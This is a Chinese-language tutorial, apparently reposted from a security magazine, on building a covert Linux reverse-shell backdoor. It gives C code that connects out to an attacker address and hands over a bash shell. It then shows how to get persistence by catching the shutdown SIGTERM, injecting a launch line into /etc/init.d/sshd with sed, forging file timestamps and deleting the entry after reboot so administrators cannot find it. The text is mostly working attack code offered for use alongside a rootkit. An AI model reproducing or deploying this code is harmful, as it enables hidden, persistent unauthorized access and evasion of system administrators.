linux内核启动后门,Linux下编写隐蔽的自启动回连后门
一直很想補充LKM方式未實現的ROOTKIT的后門功能,奈何內核模式下雖然權限很高,但編程難度也很大。在網絡安全技術中用戶級程序雖然權限不高,但是編程相對簡單,兼容性好。所以一般ROOTKIT也不是全部在內核中完成的,也要編寫用戶級的程序來輔助。本文將講述回連后門的編寫和在Linux下隱蔽地自啟動的方法。
回連后門的編寫很容易實現,在一個典型的Socket客戶端的基礎上,將標準輸入輸出重定向到Socket里,再execve一個bash shell,就可以在監聽的服務端得到一個相應權限的Shell了。一個簡單的回連后門代碼如下:
void creat_shell ( void )
{
char * shell[2];
int soc,remote;
int ret1,ret2,ret3;
struct sockaddr_in serv_addr;
memset ( &serv_addr,0,sizeof ( serv_addr ) );
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=inet_addr ( MASTER_IP );
serv_addr.sin_port=htons ( PORT );
//典型的客戶端Socket編程
soc=socket ( AF_INET, SOCK_STREAM, 0 ) ;
if ( soc<0 )
{
printf ( "socket error %d!\n",soc );
return;
}
remote=connect ( soc, ( struct sockaddr* ) &serv_addr,0x10 );
if ( remote<0 )
{
printf ( "connect error \n" );
goto end;
}
//將標準輸入輸出等重定向到建立的Socket里去
ret1 =dup2 ( soc,0 );
ret2 =dup2 ( soc,1 );
ret3 =dup2 ( soc,2 );
if ( ret1 == -1 || ret2 == -1 ||ret3 == -1 )
{
goto end;
}
//向服務端報告好消息
send ( soc,message,strlen ( message ),0 );
//建立一個bash shell
shell[0]="/bin/bash";
shell[1]=0;
execve ( shell[0],shell,0 );
end:
close ( soc );
}
本文將重點講解Linux下如何隱蔽地實現自啟動,只有這部分才算原創。Linux下的程序開機自啟動靠的就是init機制。init進程是Linux系統的第一個用戶態進程,pid為1。它是由Linux內核直接啟動的,有三個重要功能。
第一個功能是讀取/etc/inittab配置文件來對系統進行用戶態的初始化。最重要的是讀取默認運行級別,然后執行/etc/rc.d/rc*.d文件夾里的全部Shell文件(這里的*就是一個數字,對應運行級別)。Shell文件完成如開啟HTTP、SSH、X11等服務的功能,提供一個可以讓用戶登錄的環境。
第二個功能就是接管沒父進程的子進程。如果一個父進程沒有waitpid()為子進程收尸,先于子進程結束,那么子進程的父進程就修改為init,init就是一個守護進程。
第三個功能就是通過pipe(管道)接收發來的切換run level的請求并處理。例如可以使用init 6命令來重啟系統。也就是init進程執行/etc/rc.d/rc6.d里的Shell關閉各種服務,向所有的進程發送SIGTERM信號,讓進程正常退出。延時5秒后向所有的進程發送SIGKILL信號強制關閉進程,然后重新啟動。
知道了以上細節,我們不難想到典型的自啟動方式,就是查看/etc/inittab默認的運行級別,然后在相應的/etc/rc.d/rc*.d文件夾里加入一個Shell腳本就可以了。/etc/rc.d/rc*.d文件夾里幾乎都是符號鏈接,這是因為很多Shell腳本在不同的運行級別下都會用到,只要挑選一個最常用的服務就可以了。我選擇了/etc/init.d/sshd,在其頭部“#!/bin/bash”后插入了一行后門啟動命令“/home/webshell/backdoor”。
當然,這種方式很容易被發現,我們還要讓管理員在/etc/rc.d/rc*.d里看不到。解決方法就是在服務器運行時,不向/etc/rc.d/rc*.d里寫入啟動信息,而是捕獲關機或重啟信號,在那時將后門啟動命令寫入Shell腳本。機器重啟后就會執行我們的后門,后門做的第一件事就是把自己的啟動項刪掉。當然,做這些操作都要修改文件的最后修改時間,做到不留痕跡,這樣管理員就無法在/etc/rc.d/rc*.d里找到后門啟動項。除非突然斷電,我們的后門就可以一直自啟動。
以上解決方法的關鍵就是如何捕獲Linux系統重啟信號。將前面所述init的第2和第3功能綜合起來就有了如下辦法:制造一個沒有父進程的子進程,讓它被init接管并一直存活,等待init給它發送SIGTERM信號,這個信號也就是系統重啟的信號。對SIGTERM信號的處理就是寫入后門啟動項。創建一個這樣的子進程的代碼如下:
int main ( int argc, char *argv[] )
{
pid_t pid;
if ( ( pid = fork() ) <0 )
exit ( 1 );
if ( pid== 0 )
{
//申明對SIGTERM信號的處理,由 func()來執行
signal ( SIGTERM,func );
//消耗資源小的死循環讓子進程一直存活
while(1)
{
sleep(3600);?? //一小時
}
}
//父進程盡快死掉
exit(0);
}
void func ( int sig )
{
if ( sig==SIGTERM )
{
//插入后門啟動項
insert_command ( INSERT_FILE,HIDE_PROCESS );
exit ( 0 );
}
signal ( SIGTERM,func );
}
int insert_command ( char *filename,char *command )
{
//首先獲得原始修改時間
struct utimbuf ori_time;
if ( get_modtime ( filename,&ori_time ) !=1 )
{exit ( 0 );}
//sed命令,實現在有#!這樣字符串的行后插入后門啟動項
char cmd[100];
sprintf ( cmd,"sed \'\/\^#!\/ a %s\' %s >deep_pro_2009",command,filename );
system ( cmd );
sprintf ( cmd,"cp -f? deep_pro_2009?? %s ",filename );
system ( cmd );
sprintf ( cmd,"rm? -f deep_pro_2009" );
system ( cmd );
//恢復修改時間
if ( utime ( filename,&ori_time ) ==-1 )
{
return 0;
};
return 1;
}
刪除啟動項的代碼類似插入代碼,不再贅述。因為在我網絡安全中技術使用C語言實現在文件中插入刪除行的代碼量實在太大,這里使用了sed簡化代碼,一般Linux系統都會有這個工具。Unix無名師曾說:“Unix傳統上認為,一行Shell腳本勝過萬行C程序。”本后門的缺點就是不能隱藏進程和后門文件自身,但可以使用第1期的那個只有隱藏功能的ROOTKIT半成品來彌補。
我們用另外一臺Windows機器做服務端來測試,NC成功監聽得到了Shell,在/etc/init.d/sshd里也找不到后門啟動項,重啟之后仍然能夠得到Shell.
總結
以上是生活随笔為你收集整理的linux内核启动后门,Linux下编写隐蔽的自启动回连后门的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux内存占满但是无进程,为什么TO
- 下一篇: linux nfs时间不对,NFS挂载主